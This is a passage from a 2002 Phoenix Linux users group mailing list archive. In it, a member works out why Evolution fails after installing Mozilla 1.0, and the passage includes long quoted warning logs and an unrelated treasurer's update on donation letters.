Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `calendar' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `contacts' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `mail' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `tasks' > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() -- > > Unknown type `vtrash' > > > > I have done the google search, but have come up empty handed. anyone have > > any suggestions for a possible fix? > > > > BTW i am running evolution-1.0.3-4. > > > > slr > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 17:59:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 06 Jun 2002 10:59:52 -0700 Subject: update on stuff Message-ID: <5.1.0.14.0.20020606105615.00a3adf0@localhost> I just thought that I would let everyone know that my time has been freed up a bit from all the stuff that I have been involved with. This means more time to AZOTO. One thing that I haven't done because of my time being short is sending out tax donation letters. I sincerely apologize for those that did not go out last year. The move to free up my time has taken many months and many broken bad habits. So, without much more hand slapping, I will be reviewing the items and dollars that were donated and sending such donation letters in the next week. I may be asking individuals for their mailing addresses if I don't have them. Thanks for your patience and understanding. Kimi Adams, Treasurer AZOTO 602-375-5363 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 6 19:15:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 6 Jun 2002 12:15:56 -0700 Subject: mozilla 1.0 In-Reply-To: References: Message-ID: <200206061215.56107.zen2now@qwest.net> sweet, someone is interested!! the problem seem to be with wombat not finding libplc4.so, which was there through a symlink: ln -s /usr/lib/mozilla-1.0.0 /usr/lib/mozilla but wombat was still not a happy, well "wombat". so i added export LD_LIBRARY_PATH=/usr/lib/mozilla-1.0.0:/usr/local/mozilla:$LD_LIBRARY_PATH to my .bash_profile. then sourced the .bash_profile, ran oaf-slay to kill oafd and then killev, and started evolution with success. the key was testing all components to find the broken one, hehe. slr On Thursday 06 June 2002 11:35 am, Matt Alexander wrote: > And the problem was...? > > On Thu, 6 Jun 2002, slr wrote: > > forget it, problem resolved. > > > > slr > > > > On Thursday 06 June 2002 09:07 am, slr wrote: > > > good morning all, > > > > > > i just installed mozilla 1.0 from rpm's which i > > > downloaded from http://plug.netpro.to/mozilla/ onto a RH 7.3 install. i > > > am running KDE 3.0, mozilla seems to run fine but now when i try to > > > open Evolution i get these warnings: > > > > > > [xxx@xxx xxx]$ evolution > > > > > > evolution-shell-WARNING **: Could not start up component for > > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent. > > > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > > OAFIID:GNOME_Evolution_Addressbook_ShellComponent > > > > > > evolution-shell-WARNING **: Could not start up component for > > > OAFIID:GNOME_Evolution_Mail_ShellComponent. > > > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > > OAFIID:GNOME_Evolution_Mail_ShellComponent > > > > > > evolution-shell-WARNING **: Could not start up component for > > > OAFIID:GNOME_Evolution_Calendar_ShellComponent. > > > > > > evolution-shell-WARNING **: Cannot activate Evolution component -- > > > OAFIID:GNOME_Evolution_Calendar_ShellComponent > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: > > > e_folder_type_registry_get_handler_for_type() -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `vtrash' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `calendar' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `contacts' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `mail' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- Unknown type `tasks' > > > > > > evolution-shell-WARNING **: e_folder_type_registry_get_icon_for_type() > > > -- 